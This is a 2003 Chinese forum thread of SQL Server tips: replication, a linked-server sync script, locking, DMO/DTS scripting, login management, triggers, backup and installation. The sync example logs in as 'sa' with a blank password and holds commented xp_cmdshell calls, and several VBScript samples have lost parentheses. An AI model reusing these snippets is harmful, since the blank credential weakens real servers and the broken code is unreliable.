(2)从[工具]下拉菜单中选择[复制]子菜单的[请求订阅]
(3)按照单击[下一步]操作直到系统会提示检查SQL SERVER代理服务的运行状态，执行复制操作的前提条件是SQL SERVER代理服务必须已经启动。
(4)单击[完成]。完成订阅操作。
完成上面的步骤其实复制也就是成功了。但是如何来知道复制是否成功了呢？这里可以通过这种方法来快速看是否成功。展开出版服务器下面的复制——发布内容——右键发布内容——属性——击活——状态然后点立即运行代理程序接着点代理程序属性击活调度把调度设置为每一天发生，每一分钟，在0：00：00和23：59：59之间。接下来就是判断复制是否成功了打开C:\Program Files\Microsoft SQL Server\MSSQL\REPLDATA\unc\XIAOWANGZI_database_database下面看是不是有一些以时间做为文件名的文件夹差不多一分中就产生一个。要是你还不信的话就打开你的数据库看在订阅的服务器的指定订阅数据库下看是不是看到了你刚才所发布的表

作者: ccwlm741212 时间: 2003-12-10 09:33
--一个手工同步的方案

--定时同步服务器上的数据

--例子:
--测试环境,SQL Server2000,远程服务器名:xz,用户名为:sa,无密码,测试数据库:test
--服务器上的表(查询分析器连接到服务器上创建)
create table [user](id int primary key,number varchar(4),name varchar(10))
go
--以下在局域网(本机操作)
--本机的表,state说明:null 表示新增记录,1 表示修改过的记录,0 表示无变化的记录
if exists (select * from dbo.sysobjects where id = object_id(N'[user]') and OBJECTPROPERTY(id, N'IsUserTable') = 1)
drop table [user]
GO
create table [user](id int identity(1,1),number varchar(4),name varchar(10),state bit)
go
--创建触发器,维护state字段的值
create trigger t_state on [user]
after update
as
update [user] set state=1
from [user] a join inserted b on a.id=b.id
where a.state is not null
go

--为了方便同步处理,创建链接服务器到要同步的服务器
--这里的远程服务器名为:xz,用户名为:sa,无密码
if exists(select 1 from master..sysservers where srvname='srv_lnk')
exec sp_dropserver 'srv_lnk','droplogins'
go
exec sp_addlinkedserver  'srv_lnk','','SQLOLEDB','xz'
exec sp_addlinkedsrvlogin 'srv_lnk','false',null,'sa'
go

--创建同步处理的存储过程
if exists (select * from dbo.sysobjects where id = object_id(N'[dbo].[p_synchro]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo].[p_synchro]
GO
create proc p_synchro
as
--set  XACT_ABORT on
--启动远程服务器的MSDTC服务
--exec master..xp_cmdshell 'isql /S"xz" /U"sa" /P"" /q"exec master..xp_cmdshell ''net start msdtc'',no_output"',no_output

--启动本机的MSDTC服务
--exec master..xp_cmdshell 'net start msdtc',no_output

--进行分布事务处理,如果表用标识列做主键,用下面的方法
--BEGIN DISTRIBUTED TRANSACTION
--同步删除的数据
delete from srv_lnk.test.dbo.[user]
where id not in(select id from [user])

--同步新增的数据
insert into srv_lnk.test.dbo.[user]
select id,number,name from [user] where state is null

--同步修改的数据
update srv_lnk.test.dbo.[user] set
number=b.number,name=b.name
from srv_lnk.test.dbo.[user] a
join [user] b on a.id=b.id
where b.state=1

--同步后更新本机的标志
update [user] set state=0 where isnull(state,1)=1
--COMMIT TRAN
go

--创建作业,定时执行数据同步的存储过程
if exists(SELECT 1 from msdb..sysjobs where name='数据处理')
EXECUTE msdb.dbo.sp_delete_job @job_name='数据处理'
exec msdb..sp_add_job @job_name='数据处理'

--创建作业步骤
declare @sql varchar(800),@dbname varchar(250)
select @sql='exec p_synchro'    --数据处理的命令
,@dbname=db_name() --执行数据处理的数据库名

exec msdb..sp_add_jobstep @job_name='数据处理',
@step_name = '数据同步',
@subsystem = 'TSQL',
@database_name=@dbname,
   @command = @sql,
@retry_attempts = 5, --重试次数
@retry_interval = 5    --重试间隔

--创建调度
EXEC msdb..sp_add_jobschedule @job_name = '数据处理',
@name = '时间安排',
@freq_type = 4, --每天
@freq_interval = 1, --每天执行一次
@active_start_time = 00000 --0点执行
go

作者: lodge 时间: 2003-12-13 09:10
标题: Re: 锁问题

最初由 wangyuzhen 发布
[B]觉得锁问题在我们这里没有表现，因为我们用的PowerBuilder在提交修改时可以带上where条件，指定被修改字段必须和上次访问时的值一致才可以。
另外觉得那个例子有问题，为什么要提交25,000？而不是：存款余额+5000？ [/B]

那个例子是为了说明加锁的意义,

这个操作要这样完成

1. 从表中取出余额存款记录
2. 存款余额+5000 写回表中

如有两个并行操作同时完成1操作, 就会产生问题
因此, 在执行1,2操作是一定要对记录加锁, 以保证一次只有一个操作在执行.
你的问题只是一个如何实现的问题, 提价存款余额+5000时, 这个锁是由数据库自动实现的, 因为每条UPDATE语句在执行的时候都会先对目标记录加锁.

作者: ccwlm741212 时间: 2003-12-15 13:00
SQL Server如何解决加密问题？

---摘自互联网
SQL Server的6.0和6.5版本中，16位和32位客户软件在使用多协议网络库时设置加密选项可以进行数据在线加密。
　SQL Server依靠Microsoft Windows NT RPC 应用程序接口来完成网络数据加密。 Windows NT RPC使用40位RC4加密方法。这种方法允许出口，所以美国和国际版的这种加密方法没有区别。

作者: ccwlm741212 时间: 2003-12-15 13:01
编写数据库脚本

作者：Andrew Clinick
发表日期：2000 年 1 月 10 日
我在“If It Moves, Script It”（英文）(http://msdn.microsoft.com/worksh ... scripting061499.asp)这篇文章中曾谈到，如何使用“Windows Script Host(WSH)”( Windows 脚本主机) 管理 Windows 和 Windows 中的应用程序。文中的大多数示例都是基于管理 Windows 操作系统自身的，并不基于在该操作系统下运行的应用程序。为迎接新千年，我想我应该谈谈，如何在众多显露可脚本化接口的应用程序中使用脚本。这次只涉及“SQL Server”。在以后的几个月中，我将着重谈 Exchange、Office 和“系统管理服务器”。
--------------------------------------------------------------------------------
您可以通过使用“分布式管理对象”、“数据转换服务”和新的“SQL Server XML”实现，将脚本用于“SQL Server”。
--------------------------------------------------------------------------------

许多人都能够通过“Active Data Object(ADO)”和“Active Server Page (ASP)”技术访问数据库了。ADO 在帮助您查询和更新数据库方面做了大量的工作 — 但在备份（Y2K 问题带给我们的警惕）或是数据库之间的传输数据方面，其表现又如何呢？而这时就非涉及到 XML 不可了。
在此，我将告诉您如何通过使用 ADO 的伴随技术－特别是“分布式管理对象”、“数据转换服务”和新的“SQL Server XML”实现，将脚本用于“SQL Server”。
分布式管理对象

“分布式管理对象 (DMO)”是一组 COM 对象，它将“SQL Server”数据库和复制管理封装在一起。这意味着您可以编写一个 WSH 脚本，将特定表中的所有数据都复制到用制表符分隔的文件中，这有助于大量数据的移动。我之所以选择这个示例，是因为它的代码编写起来简单，但 DMO 允许您获取“SQL Server”中的每个对象，使您能够编写出一些非常优秀而有意义的管理脚本。
DMO 的关键是 SQLDMO.SQLServer 对象，它是基本的对象，它允许您连接到服务器并获取所有可用对象。在这种情况下，我将使用 Database 集合来选择数据库，然后从 table 集合访问要转储到文件的表。如果不提供数据库，将出现错误消息，并且脚本也就结束了。如果不提供表名，脚本将在数据库所有的表中循环，并导出非系统表。如果提供了数据库，它就导出该表。该示例虽然功能有限，但它为“SQL Server”提供了基于命令行的简单的导出实用程序，您可以以它为根据。
现在先看一段代码：

'声明与 sql 谈话时使用的变量
Dim oServer ' SQL Server 对象
Dim oDatabase ' 要使用的目标数据库
Dim oBCP ' BCP 对象
Dim nRows ' 从 bcp 返回的行数
dim table ' 表对象
on error resume next
' 第一个参数必须是数据库
if WScript.Arguments(0) = "" then
WScript.Echo "您没有提供要连接的数据库" WScript.Quit
end if
' 创建 SQL DMO 的实例
Set oServer = CreateObject("SQLDMO.SQLServer"

' 创建 SQL DMO Bulkcopy 对象的实例
Set oBCP = CreateObject("SQLDMO.BulkCopy"

oServer.EnableBcp = True
' 登录到本地服务器
' 希望您已经更改了 sa 口令!!
oServer.Connect ".", "sa"
' 连接到提供的数据库
Set oDatabase = oServer.Databases(Wscript.Arguments(0))

' 将分隔符设置为逗号
oBCP.ColumnDelimiter = vbComma
' 将文件类型设置为以逗号分隔
oBCP.DataFileType = SQLDMODataFile_CommaDelimitedChar
oBCP.ImportRowsPerBatch = 1000
oBCP.MaximumErrorsBeforeAbort = 1
BCP.RowDelimiter = vbCrLf
oBCP.ServerBCPDataFileType = SQLDMOBCPDataFile_Char
oBCP.UseExistingConnection = True
' 如果未提供表，则转储所有的表
if wscript.Arguments(1) = "" then
for each table in oDatabase.tables
      ' 确保该表不是系统表
      if table.systemobject = false then
         oBCP.DataFilePath = table.name & ".csv"
         nRows = table.ExportData(oBCP)
         wscript.Echo nRows & " rows exported from " & table.name
      end if
nextelse ' 设置输出文件
oBCP.DataFilePath = wscript.Arguments(1) & ".csv"
   nRows = oDatabase.Tables(wscript.arguments(1)).ExportData(oBCP)
wscript.Echo nRows & " rows exported from " & wscript.arguments(1)
end if

DMO 的全部内容要比本文介绍的多得多，但我希望本文能给您一些感性认识：用某些简单的 WSH 脚本和 DMO 可以做些什么。您可以下载我的示例（英文）(http://msdn.microsoft.com/voices/sqlexport.wsf)。有关 DMO 的详细信息，请访问 http://msdn.microsoft.com/library/psdk/sql/9_dmoc01.htm（英文）(http://msdn.microsoft.com/library/psdk/sql/9_dmoc01.htm)。
数据转换服务

导出到 Comma Separated 文件 (CSV)，可以作为将数据导出到 SQL 和从 SQL 导入的起点，但这不象是尖端科技（太过于 20 世纪了，您不觉得吗?）。“SQL Server 7.0”以“数据转换服务 (DTS)”的形式，提供了相当完善的导入和导出机制。幸运的是，脚本在“SQL Server”的这个新领域中仍有一席之地，因此，您可以用“Visual Basic(R) 脚本编辑 (VBScript)”、“JScript(R)”或“Perl”的技术来扩展 DTS 的能力。
DTS 的设置非常简单，特别是在使用“SQL ServerEnterprise Manager”的时候。在默认情况下，“SQL Server”有一个定义的文件夹，可存储任何转换，而且“Enterprise Manager”提供了创建和编辑 DTS 程序包的大的图形用户界面 (GUI)。在下面的示例中，我选择了已由 sqlexport.wsf 文件创建的 employees.csv 文件和“SQL Server”中的一个新表。DTA 程序包将创建该表，加载到 Text 文件中，然后运行某个脚本，将数据转换到“SQL Server”的表中。

DTS 程序包中的转换，使脚本在整个转换过程中保持运行状态。“SQL Enterprise Manager”提供的简单的脚本编辑器，有一个语法分析脚本按钮。在运行脚本之前，该按钮将警告您脚本中的错误。在转换过程中，该脚本使用 VBScript 的 Cint 功能，将 employeeid 和 deptid 的输入转换为 int，并将所有的电子邮件地址转换为小写字母。

'**********************************************************************
'    Visual Basic 转换脚本
'    把每个源列复制到
'    目标列
'***********************************************************************
Function Main()
DTSDestination("EmployeeID"

= cint(DTSSource("Col001"

)
DTSDestination("FirstName"

= DTSSource("Col002"

DTSDestination("LastName"

= DTSSource("Col003"

DTSDestination("email"

= lcase(DTSSource("Col004"

)
DTSDestination("extension") = DTSSource("Col005")
DTSDestination("office") = DTSSource("Col006")
DTSDestination("DeptID") = cint(DTSSource("Col007"))
Main = DTSTransformStat_OK
End Function

用 DTS，能够采用某些完善的导入/导出机制，并使您能够在转换的任何一步中使用脚本。重要的是，要注意脚本可能不是操作数据的最佳方式 — 尤其是您的数据集很大的话。如果您有大量数据需要转换，而且性能也很重要，则您可能需要考虑使用 Visual Basic 或 C++ 来创建 COM 组件，然后从 DTS 内部调用该组件。也就是说，如果性能并不重要，并且要在数据导入/导出时对它进行转换，则脚本为您提供了实现这一点的灵活机制，并使您能够将所有代码存储到“SQL Server”数据库中，使部署变得相当简单。
关于 XML

目前，XML 看起来像是在应用程序之间共享数据的最佳工具，所以“SQL Server”的所有管理肯定都得到了 XML 的好处。编写提取数据库中所有数据的脚本，以及编写用编程的方法创建 XML 文档的脚本，都是可能的。但是，如果您只要查询“SQL Server”的话，最好使它在 XML 中返回数据，然后用脚本操作该 XML。“SQL Server”组最近发行了“SQL Server XML”技术的非正式版本，完全做到了这一点。
新的 XML 技术使用起来非常简单。实际上是对服务器发出 HTTP 请求，将查询传递给服务器，而服务器返回 XML。为了举例说明，我创建了简单的 WSH 脚本，它向本地机器查询 North Wind 数据库的雇员表中的所有数据。为访问 XML，该脚本使用了“Internet Explorer 5.01”附带的 XML 分析程序。此对象的美妙之处，在于它处理您所有的 HTTP 请求，并使您能够同步调用。因为您再也不用处理任何事件驱动的程序，所以，它对编写脚本很有帮助。
该脚本非常简单。它创建了 XML 分析程序的实例，使用分析程序打开 URL，然后将结果保存为 .xml 文件。只需五行的脚本，不错吧!

' 设置请求的 url
xmlpath = "http://localhost/Northwind?sql=select+*+from+employees+for+xml+auto"
' 创建“XML 分析程序”的实例
Set myXMLDoc = CreateObject("Microsoft.XMLDOM")
' 不需要异步
myXMLDoc.async = false
' 加载该 URL
myXMLDoc.Load xmlpath
' 保存文档
myXMLDoc.save "employees.xml"

它的强大之处在于，现在可很容易地与服务器建立远程连接并转储数据；只要更改 URL，您早已做过了。此例告诉您如何导出，但是您可以轻松地写出导入例行程序，用 XML 分析程序在 XML 中反复操作并将值插入数据库中。
摘要

“SQL Server”提供全面的可编写脚本的机制，用于本地或远程管理数据库。DMO 和 DTS 已经上市（实际上，DMO 已发行了许多版本），所以您可以直接利用它们，使您的数据库管理任务自动化。Windows 2000 已与“Windows Script Host 2.0”一起上市，所以以上所有脚本的运行，都不受装有“SQL Server”的 Windows 2000 服务器的条件限制。“SQL Server”中新的 XML 技术使存取数据变得轻而易举，从而使编写“SQL Server”的脚本更加容易。有关“SQL Server”的详细信息，请访问 SQL Server Developer enter（英文）(http://msdn.microsoft.com/sqlserver/)。

作者: ccwlm741212 时间: 2003-12-15 13:02
怎样才能限制SQL Server只能让指定的机器连接

---摘自《SQL编程技巧站》
Q. How can I restrict access to my SQL Server so that it only allows certain machines to connect?
(v1.0 19.10.1998)

怎样才能限制我的SQL Server只能让指定的机器连接

A. SQL Server has no built-in tools/facilities to do this. It also does not have the facility to run a stored-procedure on connection that could be written/used to do this. Therefore you have the following choices :-

SQL Server没有这样的功能，也没有提供在连接时执行某一特定过程的功能。这里介绍几种实现的方法

1. Put the SQL Server behind a firewall and use that to restrict access. This is the most secure and functional way to do what you want.

使用防火墙，它提供了安全和你想用的工具。

2. Write your own ODS Gateway and point the clients at that instead of the SQL Server - the ODS Gateway will then do the checking. However, there is nothing stopping clients figuring out the correct SQL client-config entries to point straight at the SQL Server. There are examples of ODS code in the SQL Programmers Toolkit - available for free download from the MS website.

写自己的ODS网关代替SQL Server的客户端 - 在ODS网关中检查。不过，这并不能停止正常的客户端连接SQL Server。在SQL Programmers Toolkit中有一个这样的例，可以从微软站点免费下载。

3. Write a constantly running/scheduled stored-procedure that checks the relevant column in sysprocesses (net_address), and then issues a KILL command for any processes that should not be running. Note that this only works for MAC addresses. This way allows people to connect and possibly make changes before they are spotted and killed.

写一个存储过程检查sysprocesses中的相应列（net_address）

作者: ccwlm741212 时间: 2003-12-15 13:03
编程管理SQL SERVER的帐号

---摘自《SQL编程技巧站》(文/Water)
每个人都关心数据安全。如果不关心的话，可能没有意识到访问服务器中的敏感数据是非常容易的。因为SQL SERVER在这方面已经替我们考虑过了，所以在我们开发应用程序就可以直接使用SQL SERVER的安全策略。

在SQL SERVER中，我们可以在ENTERPRISE MANAGER中创建一个登录帐号，并且赋予一定的权限，如果要做到我们的应用程序中呢？

SQL SERVER提供了如下系统过程

一、SP_ADDLOGIN 添加登录帐号

      SP_ADDLOGIN login_id[,password[,defaultdb[,defaultlanguage]]]

      login_id       帐号名
      password       口令
      defaultdb       缺省数据库，默认为MASTER数据库。
      defaultlanguage 缺省语言

二、SP_ADDUSER 添加用户

      SP_ADDUSER login_id[,username[,rolename]]

      username       登录数据库的别名
      rolename       用户隶属的组名

三、SP_DROPLOGIN  删除帐号

      SP_DROPLOGIN login_id

四、SP_DROPUSER 删除用户

      SP_DROPUSER username

五、GRANT       授予用户或组许可权限

      GRANT permission_list ON object_name TO name_list

      permission_list 授予的权限的清单
      object_name       被授予权限的表、视图或存储过程
      name_list       被授予权限的用户或组的清单

六、REVOKE       收回用户或组许可权限

      REVOKE permission_list ON object_name FROM name_list

七、SP_PASSWORD 修改口令

      SP_PASSWORD [old_password,]new_password[,login_id]

前六个过程只能SA或被SA授予Security Administrators权限的人才可使用，第七个过程普通用户可能使用，但不能使用login_id项，只有上述权限的人才可使用此项

　

应用实例：

添加

      declare @login varchar(6),@pass varchar(11)

      exec sp_addlogin @login,@pass,databasename
      exec sp_adduser @login,@login,public

      grant insert,select,update,delete on table1 to public

删除

      revoke insert,delete on table1 from public

      exec sp_dropuser @login
      exec sp_droplogin @login

本文代码在NT4+SQL7和WIN98+SQL7和NT4+SQL6.5中测试通过

参考资料：SQL Server 7.0 开发指南

作者: ccwlm741212 时间: 2003-12-15 13:04
浅析数据完整性问题

---摘自《ChinaASP网络》
浅析数据完整性问题

内蒙环境信息中心
王阔涛
---- 在开发C/S 结构的大型数据库应用软件时，一般情况下，软件开发人员和数据库设计人员并不是同一个人，这就需要协商好一些即可由程序设计人员解决又可由数据库设计人员来解决的问题，保证数据完整性就是一个这样的问题。

---- 笔者举一个最简单的例子：货物出库、退货的例子

---- 这里有库存表(kcb)、出库单表(ckb) 和退货单表(thb)

---- 库存表包含如下列：WPBH，KCSL〔物品编号，库存数量〕

---- 出库单表含如下列：WPBH，CKSL〔物品编号，出库数量〕

---- 退货单表含如下列：WPBH，THSL〔物品编号，退货数量〕

---- 假如我们进行了如下交易：

---- 1 ．物品A 有十件出库

---- 2 ．物品A 有五件退货（可再出库）

---- 我们都知道，这两笔交易都需要修改库存表，但修改库存表的工作由谁来做。可以肯定的说，程序设计人员和数据库设计人员都可以完成。

---- 首先我们举例由程序设计人员如何完成：

---- 1 ．出库时，产生新出库记录插入到出库单表中，同时将库存表中的KCSL 用KCSL 减掉出库数量的值取代。

---- 2 ．退货时，产生新退货记录插入到退货表中，同时将库存表中的KCSL 用KCSL 加上退货数量的值取代。

---- 由于不同的开发平台，完成这项工作的代码不尽相同，故不写出具体代码。

---- 接下来看看由数据库设计人员是如何完成这项工作：

---- 数据库设计人员完成这项工作靠的是触发器。

---- 数据库设计人员建立如下SQL 语句为出库单表(ckb) 建立插入触发器

CREATE  TRIGGER  FORINSERT
ON ckb
FOR  INSERT
AS
   UPDATE kcb
      SET kcb.kcsl=kcb.kcsl － inserted.cksl
      FROM  inserted
      WHERE  kcb.wpbh=inserted.wpbh

---- 同样，也要为退货单表建立类似的SQL 语句

CREATE  TRIGGER  FORINSERT
ON thb
FOR  INSERT
AS
   UPDATE kcb
      SET kcb.kcsl=kcb.kcsl + inserted.thsl
      FROM  inserted
      WHERE  kcb.wpbh=inserted.wpbh

---- 可以很明显地看出，如果两个人都做了工作，程序在运行过程中一定会出错。

---- 但这项工作具体应该由谁来完成？我私下认为，应该由数据库设计人员来完成，原因如下：

---- 1、一个可移植性好的软件应该与数据的结构无关；

---- 2、程序的研制和调试更加简单, 再拿上例来说，程序设计人员只需完成往出库单表和退货单表中插入相应的记录工作即可，具体修改工作由触发器来完成。

---- 3、触发器的运行是在服务器端，减轻了客户端的开销。

---- 4、触发器不管你在什么时候进行操作，它都会启动，保证数据不会出错。

---- 其实，上文所写的触发器只是一个最简单的例子，在实际工作中要远远比这复杂得多，设计一个好的数据库会花费数据库设计人员很大的心血，如果只是建立了表格，工作还没有完成一半呢，下一多半工作就是将你的数据完整性问题解决掉。

---- 成功地设计一个数据库能起到事半功倍的效果。数据的完整性已经解决了，程序设计起来还有什么问题呢？

---- 说来容易，做到却很难，比者在实际工作中也经常遇到很多问题，希望能和众多的同行共同进步，把你的经验和好的方法告诉大家。

作者: ccwlm741212 时间: 2003-12-15 13:04
读书笔记------得到数据库期望的性能

---摘自《ChinaASP网络》
读书笔记------得到数据库期望的性能

我读书的笔记,拿出来大家没事看看,或者,也是求证于大家之意
以MS sql server 6.5 为例

硬件调整性能
最有可能影响性能的是磁盘,解决办法
1.采用带高速缓冲的RAID阵列磁盘,
2.多I/O通道,多处理器超前读线程可以提高检索两到三倍
3.较大高速缓冲,使用DBCC PRINTABLE 强制访问频率高的表常驻缓存

软件方法
1.规范化----------加快吞吐速度
2.反规范化-------加快检索速度
3.创建或删除索引
4.分割一个表后放入多个数据库
-----注.好象在7.0中这样没必要做,因为7.0中可以用多个文件存储数据库,然后将其分布到RAID磁盘中去提高响应速度

硬件放法能往往普遍提高性能,而软件方法只能提高某项,几项性能

对与数据库来说,常常会提到三个指标
1.查询的响应速度
2.吞吐量
3.并行处理能力
4.吞吐量和并行处理的结合

DBA工作的一项就是,设法在各个指标中折衷,取得用户满意的指标

最常见的是平衡update 和,select的性能
一般而言,规范化可以提高update性能,反规范化提高select性能

一个特殊的例子,平衡OLTP和DSS的性能
OLTP:联机事务处理程序,大多数数据操作为update,规范化数据库,小容量表,少量精简索引可以提高最佳性能
DSS: 数据仓库系统,对应这些系统,大多是查询操作,高冗余,多索引会提高响应速度

顺便说一下,在SQLserver 7.0中,用 query analyzer 可以很方便分析查询效率
当你的查询响应时间小于一秒时,你恐怕就得注意提高查询速度了

作者: ccwlm741212 时间: 2003-12-15 13:05
Microsoft SQL Server 7.0 备份及恢复相关问题

---摘自《ASP动网先锋》
【「Microsoft SQL Server 7.0」以下简称「SQL Server 7.0」】SQL Server 6.5的SQL语句能否转储（Dump）和加载（Load）SQL server 7.0？可以进行备份（Backup）和恢复（Restore）。恢复数据库时出现下列信息如何解决？SQL-DMO Error: Could not obtain exclusive lock on database Model
这是因为恢复数据库时，另外一个程序正在使用模型数据库，请在恢复数据之前先以sp_who这个存储过程查看是否有人在使用模型数据库。

在Windows 95/98下SQL Server 7.0是否可以备份到磁带中？

不行，请将数据库备份到磁盘驱动器再由备份到磁带。

在Windows 95/98下您也可以执行如" EXEC sp_addumpdevice 'tape', 'tapedump1', '\\.\tape0'"的指令，但是当您执行"backup database to tapedump1"时会出现如下的信息：Server: Msg 3201, Level 16, State 5, Line 1 Cannot open backup device 'tapedump1'. Device error or device off-line. See the SQL Server error log for more details. Server: Msg 3013, Level 16, State 1, Line 1 Backup or restore operation terminating abnormally.

并且在SQL Server 7.0 errorlog也会出现如下信息： BackupTapeFile::OpenMedia: Backup device '\\.\tape0' failed to open. Operating system error = 2(The system cannot find the file specified.).

将SQL Server 7.0数据库备份到网络上时出现如下信息
Server: Msg 3201, Level 16, State 1, Line 1 Cannot open backup device 'E:\pubs.dat'. Device error or device off-line. See the SQL Server error log for more details. Server: Msg 3013, Level 16, State 1, Line 1 Backup or restore operation terminating abnormally.
并且在Error log出现
1998-12-29 11:58:21.62 kernel BackupDiskFile::CreateMedia: Backup device'E:\pubs.dat' failed to create. Operating system error = 5(Access is denied.).
如何解决？

这是由于权限不够造成的。请确定SQL Server Service的帐号为域用户（Domain User），并且在网络上写权限。

是否可以将SQL Server 7.0数据库备份到压缩卷（Compressed Volume）？

可以的，但是不建议如此做，如果要将数据库备份到压缩卷，请在备份之前和恢复之后执行DBCC。

将发布的数据库的备份恢复到一台没有做复制的SQL Server 7.0中导致事务日志标示为副本（replication），如何解决？

可以参照下列两种方法：

可能的话，备份发布的数据库之前先将其取消发布。
恢复之前，在目标数据库中设置发布。
什么是差异备份（differential backup）？

差异备份是SQL Server 7.0提供的新功能，差异备份只记录上次完全备份之后所做的变化。

作者: ccwlm741212 时间: 2003-12-15 13:06
Microsoft SQL Server 7.0数据库的创建与管理

---摘自《ASP动网先锋》
SQL Server 6.X使用设备（device）存储数据库，每个设备为操作系统上的一个磁盘文件， SQL Server 7.0是否也是这样？不是。SQL Server 7.0的数据库不再使用设备存储， SQLServer 7.0每个数据库至少需要两个文件（数据和日志），数据和日志无法共享一个文件，并且每个文件只能给一个数据库使用，无法共享。

存放SQL Server 7.0数据库的磁盘文件有哪几种？

mdf：存放系统表格和数据，每个数据库至少要有一个mdf，并且只能有一个。

ndf：存放数据，无法存放系统表格，一个数据库可以有若干个ndf文件。

ldf：存放日志，可以有若干个。

SQL Server 7.0创建数据库的方法有哪几种？

使用数据库创建向导（Database Creation Wizard）。
SQL Server企业管理程序（Enterprise Manger）提供的图形用户接口。
使用CREATE DATABASE语句。
请给出一个使用创建数据库向导（Create Database Wizard）创建数据库的例子？

启动SQL Server企业管理程序（Enterprise Manager），选择您要创建数据库的SQL Server。
由「Tools」菜单点选择「Wizards...」，在「Select Wizard」对话框展开database工程，选择Create Databse Wizard，然后按「OK」按钮。
在Create Database Wizard的欢迎画面中按「下一步」按钮。
输入数据库名称、存放数据的文件及存放日志的文件路径，按「下一步」按钮。
系统预设数据文件名称为_data，输入文件名，按「下一步」按钮。
设定数据文件是否自动增加（auto grow）和最大值，按「下一步」按钮。
系统预设日志文件名称为_log，输入文件名，按「下一步」按钮。
设定日志文件是否自动增加和最大值，按「下一步」按钮。
系统显示数据库设置完成，按「完成」按钮，出现是否创建数据库维护计划（datbase maintenance plan），按「No」按钮。
展开database文件夹，新的数据库已创建。
请给出一个使用SQL Server Enterprise Manger创建数据库的例子？

激活「SQL Server Enterprise Manager」，选择要创建数据库的SQL Server。
选择database文件夹，按鼠标右键，选择菜单中的「New Database...」。
分别选择General和Transaction log卷标，输入相关信息。
如何使用CREATE DATABASE语句建立数据库？

请参考SQL Server 7.0联机书籍，"CREATE DATABASE(T-SQL)"文件。

如何增加数据库的大小？

设置文件自动增加（automatic file growth）。
增加数据库文件大小。
另外增加数据库文件存放文件（再增加一个ndf文件）。
如何缩小数据库的大小？

缩小整个数据库：如DBCC SHRINKDATABASE缩小某一数据库文件大小：如DBCC SHRINKFILE设置自动缩小数据库。

如何删除数据库？

使用SQL Server Enterprise Manger提供的图形用户接口。使用DROP DATABASE语句。

删除数据库的注意事项有哪些？

使用SQL Server Enterprise Manger提供的图形用户接口一次只能删除一个数据库。使用DROP DATABASE语句可同时删除多个数据库，如
DROP DATABASE db1,db2,db3
删除数据库后，如果有登录ID预设的数据库因此而被删除数据库，那么该登录ID应将其预设数据库改为主数据库（master database）。删除数据库后，请立即备份主数据库。

无法删除数据库可能的原因？

此数据库正在恢复。
有用户正在使用此数据库。
此数据库部分表格为副本。
有哪些方法可以使数据库有较好的性能？

使用RAID。
将数据和日志放在不同的磁盘驱动器中。
使用Filegroups将对象放置在不同的磁盘驱动器中。
管理数据库的一些注意事项有哪些？

将数据和日志放在不同磁盘驱动器：除了可以得到较好的性能外，如果数据所在的磁盘驱动器坏了，还可以备份日志恢复数据。
禁用磁盘控制器（disk controller）的写缓存（write-cahcing）功能：除非写缓存的设计支持数据库服务器。
定期备份主数据库：此外添加、删除或修改数据库后也应该立即备份主数据库。
日志要有足够的空间：可以选择自动增加（automatic growth），自动增加文件大小或设定报警通知。
SQL Sever 7.0预设的数据日志大小比例为多少？

3:1，即数据占数据库3/4，日志占数据库1/4。

是否可以同时对数个数据库进行设置？

不行，如果想修改默认值，请更改模型数据库（model database），但是只有更改了模型数据库的设置后新添加的数据库才有效。

SQL Server 7.0是否可将tempdb放置在RAM中？

不可以。

SQL Server 7.0有哪些新增的数据库选项？

Autoclose（自动关闭）：当所有用户都退出数据库时，自动关闭该数据库，并释放该数据库使用的资源。

Autoshrink（自动伸缩）：设置可自动缩小数据库，SQL Server启动5分钟后会自动检查是否需要缩小数据库，此后每30分钟检查一次。

ANSI nulls（ANSI空值）：将默认值设为null（空）或not null（非空）。

ANSI warning（ANSI警告）：当设定成true时，遇到"divide by zero（被0除）"时会发出警告。

quoted identifier（引用标志符）：设置引用标志（quotation mark）的使用方式是否复合ANSI 。

作者: ccwlm741212 时间: 2003-12-15 13:06
Microsoft SQL Server安装示例

---摘自《ASP动网先锋》
【「Microsoft SQL Server 7.0」以下简称「SQL Server 7.0」】请给出一个在中文Windows NT Server 4.0安装SQL Server 7.0的示例?1.为SQL Server 7.0创建一个帐号:以域管理员（Domain Administrator）登录，启动域用户管理器，选择菜单"用户"中的"添加用户"。
)输入用户信息，如用户名称为SQLService，并设用户不得变更密码且密码永久正确（其它两项不要选）。
将此用户(域\SQL服务)加入到管理员组中，如果要安装SQL Server的计算机不是域控制器，先以本地管理员登录本机，设该用户属于Admins组。
设置该用户在安装SQL Server的计算机上拥有"以服务方式登录"的用户权力。
2.安装SQL Server软件：

放入SQLServer 7.0光盘，或启动光盘中的autorun.exe。
如果您的Windows NT 4.0已安装Service Pack4和Internet Explorer 4.01 Service Pack 1，可以直接用鼠标选择"Install SQL Server 7.0 Components（安装SQL Server 7.0组件）"
出现「Install SQL Server 7.0 Components」选项，选择「Database Server- Standard Edition」。
出现「Select Install Method」对话框，选择「Local Install -Install to the Local Machine」，单击「Next」按钮。
出现「Welcome」对话框，单击「Next」按钮。
出现「Software License Agreement」对话框，单击「Yes」按钮。
出现「User Information」对话框，请输入您的姓名和公司名称，然后单击「Next」按钮。
出现「Setup Type」对话框，共有三种安装类型，典型（Typical）、最小化（Minimum）和自定义（Customer），请选择「Custom」，此外SQLServer 7.0预设的程序文件及数据文件路径为\msql7，可单击「Browse…」按钮修改。单击「Next」按钮继续安装。
出现「Select Components」对话框，选择您要安装的项目后，单击「Next」按钮。
出现「Character Set/Sort Order/Unicode Collation」对话框，使用默认值设置，单击「Next」按钮。
附注:字符集为中文简体，排序次序为字典次序，大小写敏感(NT除外)，如果此SQL Server7.0将来要将SQL Server 6.X数据库转换为SQL 7.0数据库，则字符集和排序次序的设置要与SQL Server 6.X数据库所在的SQL Server 6.x设置相同。
出现「Network Libraries」对话框，请依默认值设定选择Named piped、TCP/IP Sockets以及Multi- Protocol三项后，单击「Next」按钮。
出现「Services Accounts」对话框，选择「Use the same account for each service. Auto start SQL Server Service」即SQL Server及SQL Server Agent使用同一帐号，并在「Service Settings」中，选择「User a Domain User Account」，填入Username、Password及Domain（如先前设定的SQLService），单击「Next」按钮。
出现「Start Copying Files」对话框，表示安装程序已收集所需信息，单击「Next」按钮。
出现「选择使用权模式」对话框，设置「每一服务器(Per Server)」或「每一座位(Per Seat)」，再单击「继续」按钮，在「每一服务器」使用权或「每一基座」使用权的画面点选「我同意」，再单击「确定」按钮。
安装程序会将文件复制到计算机。
安装完全后请重启计算机。
请给出在中文在中文Windows 98中安装 SQL Server 7.0的示例?

